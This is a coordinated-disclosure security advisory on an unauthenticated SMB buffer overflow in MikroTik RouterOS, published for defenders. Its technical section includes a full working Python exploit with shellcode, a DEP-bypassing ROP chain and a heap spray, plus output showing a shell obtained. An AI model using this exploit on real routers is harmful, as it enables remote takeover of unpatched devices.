MikroTik RouterOS SMB Buffer Overflow

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
MikroTik RouterOS SMB Buffer Overflow  
  
1. **Advisory Information**  
  
Title: MikroTik RouterOS SMB Buffer Overflow  
Advisory ID: CORE-2018-0003  
Advisory URL:  
http://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow  
Date published: 2018-03-15  
Date of last update: 2018-03-01  
Vendors contacted: MikroTik  
Release mode: Coordinated release  
  
2. **Vulnerability Information**  
  
Class: Stack-based Buffer Overflow [CWE-121]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2018-7445  
  
3. **Vulnerability Description***  
*  
MikroTik is a Latvian company which was founded in 1996 to develop routers  
and wireless ISP systems. MikroTik now provides hardware and software for  
Internet connectivity in most of the countries around the world. RouterOS  
is MikroTik's stand-alone operating system based on Linux v3.3.5 kernel.  
  
A buffer overflow was found in the MikroTik RouterOS SMB service when  
processing NetBIOS session request messages. Remote attackers with access  
to the service can exploit this vulnerability and gain code execution on  
the system. The overflow occurs before authentication takes place, so it  
is possible for an unauthenticated remote attacker to exploit it.  
  
4. **Vulnerable Packages**  
  
. All architectures and all devices running RouterOS before versions  
6.41.3/6.42rc27  
  
5. **Vendor Information, Solutions and Workarounds**  
. MikroTik released version 6.41.3 of RouterOS [1] that fixes the reported  
issue.  
. The workaround suggested by MikroTik in case it is not possible to  
install an update consists of disabling the SMB service.  
  
6. **Credits**  
  
This vulnerability was discovered and researched by Juan Caillava and  
Maximiliano Vidal from Core Security Consulting Services. The publication  
of this advisory was coordinated by Leandro Cuozzo from Core Advisories  
Team.  
  
7. **Technical Description / Proof of Concept Code***  
*  
The overflow takes place in the function in charge of parsing NetBIOS names,  
which receives two stack allocated buffers as parameters. As an example  
reference, this function is located at address 0x08054607 on the x86 SMB  
binary version 6.40.5.  
  
The first byte of the source buffer is read and used as the size for the  
copy operation. The function then copies that amount of bytes into the  
destination buffer. Once that is done, the next byte of the source buffer  
is read and used as the new size. This loop finishes when the size to copy  
is equal to zero. No validation is done to ensure that the data fits on  
the destination buffer, resulting in a stack overflow.  
  
Simplified pseudo-code of the vulnerable function:  
  
/-----  
int parse_names(char *dst, char *src) {  
int len;  
int i;  
int offset;  
  
// take the length of the first string  
len = *src;  
offset = 0;  
  
while (len) {  
// copy the bytes of the string into the destination buffer  
for (i = offset; (i - offset) < len; ++i) {  
dst[i] = src[i+1];  
}  
  
// take the length of the next string  
len = src[i+1];  
  
// if it exists, then add a separator  
if (len) {  
dst[i] = ".";  
}  
  
// start over with the next string  
offset = i + 1;  
}  
  
// nul-terminate the string  
dst[offset] = 0;  
  
return offset;  
}  
-----/  
  
It is possible to reach this function by sending a NetBIOS session request  
message. We will demonstrate code execution targeting the x86 Cloud Hosted  
Router and develop a proof of concept exploit.  
  
How to approach the exploitation depends on the specifics of the targeted  
device and architecture. In the case of Cloud Hosted Router on x86, we  
will have to deal with DEP and ASLR.  
  
In order to bypass DEP, we will build a ROP chain to call 'mprotect' and  
mark a memory region as both writable and executable. In terms of ASLR,  
we found that even though the base address of the stack and the loaded  
libraries was randomized, the base address of the heap was not. Therefore,  
it is possible to store a large payload on the heap to act as a NOP sled  
right before triggering the vulnerable function and jump to a fixed  
location in this region. Our testing showed this approach to be extremely  
reliable.  
  
The proof of concept exploit presented below illustrates this process,  
reusing the connection socket to spawn a shell and execute arbitrary  
commands on the system.  
  
/-----  
#!/usr/bin/env python  
  
import socket  
import struct  
import sys  
import telnetlib  
  
NETBIOS_SESSION_MESSAGE = "\x00"  
NETBIOS_SESSION_REQUEST = "\x81"  
NETBIOS_SESSION_FLAGS = "\x00"  
  
# trick from http://shell-storm.org/shellcode/files/shellcode-881.php  
# will place the socket file descriptor in eax  
find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"  
  
# dup stdin-stdout-stderr so we can reuse the existing connection  
dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"  
  
# execve - cannot pass the 2nd arg as NULL or busybox will complain  
execve_bin_sh =  
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  
  
# build shellcode  
shellcode = find_sock_fd + dup_fds + execve_bin_sh  
  
# rop to mprotect and make the heap executable  
# the heap base is not being subject to ASLR for whatever reason, so  
let's take advantage of it  
p = lambda x : struct.pack('I', x)  
  
rop = ""  
rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret;  
rop += p(0x08072000) # ebx -> heap base  
rop += p(0xffffffff) # ebp -> gibberish  
rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret;  
rop += p(0x14000) # ecx -> size for mprotect  
rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret;  
rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ |  
PROT_WRITE | PROT_EXEC  
rop += p(0xffffffff) # edi -> gibberish  
rop += p(0xffffffff) # ebp -> gibberish  
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;  
rop += p(0x0000007d) # ebp -> mprotect system call  
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;  
rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx;  
ret - from vdso - not affected by ASLR  
rop += p(0xffffffff) # ebp -> gibberish  
rop += p(0x0) # edx -> zeroed out  
rop += p(0x0) # ecx -> zeroed out  
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;  
rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?)  
contain user controlled data  
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;  
rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap  
  
offset_to_regs = 83  
  
# we do not really care about the initial register values other than  
overwriting the saved ret address  
ebx = p(0x45454545)  
esi = p(0x45454545)  
edi = p(0x45454545)  
ebp = p(0x45454545)  
eip = p(0x0804886c) # 0x0804886c: ret;  
  
payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop  
header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST,  
NETBIOS_SESSION_FLAGS, len(payload))  
buf = header + payload  
  
def open_connection(ip):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((ip, 139))  
return s  
  
def store_payload(s):  
print "[+] storing payload on the heap"  
s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" *  
16 + shellcode)  
  
def crash_smb(s):  
print "[+] getting code execution"  
s.send(buf)  
  
if __name__ == "__main__":  
if len(sys.argv) != 2:  
print "%s ip" % sys.argv[0]  
sys.exit(1)  
  
s = open_connection(sys.argv[1])  
store_payload(s)  
  
# the server closes the first connection, so we need to open another one  
t = telnetlib.Telnet()  
t.sock = open_connection(sys.argv[1])  
crash_smb(t.sock)  
print "[+] got shell?"  
t.interact()  
-----/  
  
The following excerpt shows the successful exploitation of a remote SMB  
service.  
  
/-----  
[admin@MikroTik] > ip smb print  
enabled: yes  
domain: MSHOME  
comment: MikrotikSMB  
allow-guests: yes  
interfaces: all  
[admin@MikroTik] > ip address print  
Flags: X - disabled, I - invalid, D - dynamic  
# ADDRESS NETWORK   
INTERFACE   
0 D 192.168.0.249/24 192.168.0.0 ether1   
-----/  
  
/-----  
$ python smb_exploit.py 192.168.0.249  
[+] storing payload on the heap  
[+] getting code execution  
[+] got shell?  
sh: turning off NDELAY mode  
uname -a  
Linux MikroTik 3.3.5-64 #1 SMP Tue Oct 31 12:39:30 UTC 2017 x86_64 unknown  
-----/  
  
8. **Report Timeline**  
. 2018-02-19: Core Security sent an initial notification to  
MikroTik.   
. 2018-02-19: Core Security noticed that a candidate release addresses  
the vulnerability.  
. 2018-02-21: MikroTik answered saying that they were planning to release  
a final version with a fix for SMB the week of 26th of February and asked  
for additional information.  
. 2018-02-21: Core Security thanked MikroTik's answer and sent a draft  
advisory with a technical description. In addition, Core Security proposed  
the release date to be March 1st.   
. 2018-02-23: MikroTik confirmed the proposed release date saying that is  
a 'perfect' date for them.   
. 2018-02-23: Core Security asked MikroTik for a confirmation about the  
availability of the fix before the publication date. Also, Core Security  
sent the CVE-ID request to Mitre.   
. 2018-02-23: MikroTik confirmed the availability of the fix for the  
publication date.  
. 2018-02-28: Core Security asked MikroTik for a confirmation about the  
release of the fixed version again.  
. 2018-02-28: MikroTik answered saying that they had some issues and asked  
for an extension of one week.   
. 2018-02-28: Core Security analyzed the possibility of postponing the  
publication date and asked MikroTik for a new release date.  
. 2018-03-01: MikroTik answered that they didn't have a certain release  
date for their fix.   
. 2018-03-01: Core Security requested a solidified release date for  
coordinated disclosure. Agreed to postpone till March 8th.  
. 2018-03-01: MikroTik answered saying they understand it's their fault  
and if they don't release the fixed version in time, we might have to  
release our document.  
. 2018-03-02: Core Security thanked the update and asked again about the  
planned release date.   
. 2018-03-05: MikroTik answered that they still don't have a certain  
release date for their fix.   
. 2018-03-05: Core Security answered saying the one week postponed was  
proposed by Mikrotik, yet they still cannot commit to a release date.  
Core Security clarified again the intention is to do a coordinated release,  
but in order to do that it is needed a tentative release date.   
. 2018-03-12: Core Security noticed that a new version of MikroTik RouterOS  
were available and asked MikroTik if this version fixed the  
vulnerability.   
. 2018-03-12: MikroTik confirmed that the published version addresses the  
reported vulnerability.   
. 2018-03-15: Advisory CORE-2018-0003 published.  
  
9. **References**  
  
[1] https://mikrotik.com/download.  
  
10. **About CoreLabs**  
  
CoreLabs, the research center of Core Security, is charged with  
anticipating  
the future needs and requirements for information security technologies.  
We conduct our research in several important areas of computer security  
including system vulnerabilities, cyber attack planning and simulation,  
source code auditing, and cryptography. Our results include problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies. CoreLabs regularly publishes security  
advisories, technical papers, project information and shared software  
tools for public use at: http://corelabs.coresecurity.com.  
  
11. **About Core Security**  
  
Core Security provides companies with the security insight they need to  
know who, how, and what is vulnerable in their organization. The company's  
threat-aware, identity & access, network security, and vulnerability  
management solutions provide actionable insight and context needed to manage  
security risks across the enterprise. This shared insightmgives customers  
a comprehensive view of their security posture to make better security  
remediation decisions. Better insight allows organizations to prioritize  
their efforts to protect critical assets, take action sooner to mitigate  
access risk, and react faster if a breach does occur.  
  
Core Security is headquartered in the USA with offices and operations in  
South America, Europe, Middle East and Asia. To learn more, contact Core  
Security at (678) 304-4500 or [email protected]  
  
12. **Disclaimer**  
  
The contents of this advisory are copyright (c) 2018 Core Security and  
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution  
Non-Commercial Share-Alike 3.0 (United States) License:  
http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
13. **PGP/GPG Keys**  
  
This advisory has been signed with the GPG key of Core Security advisories  
team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
  
`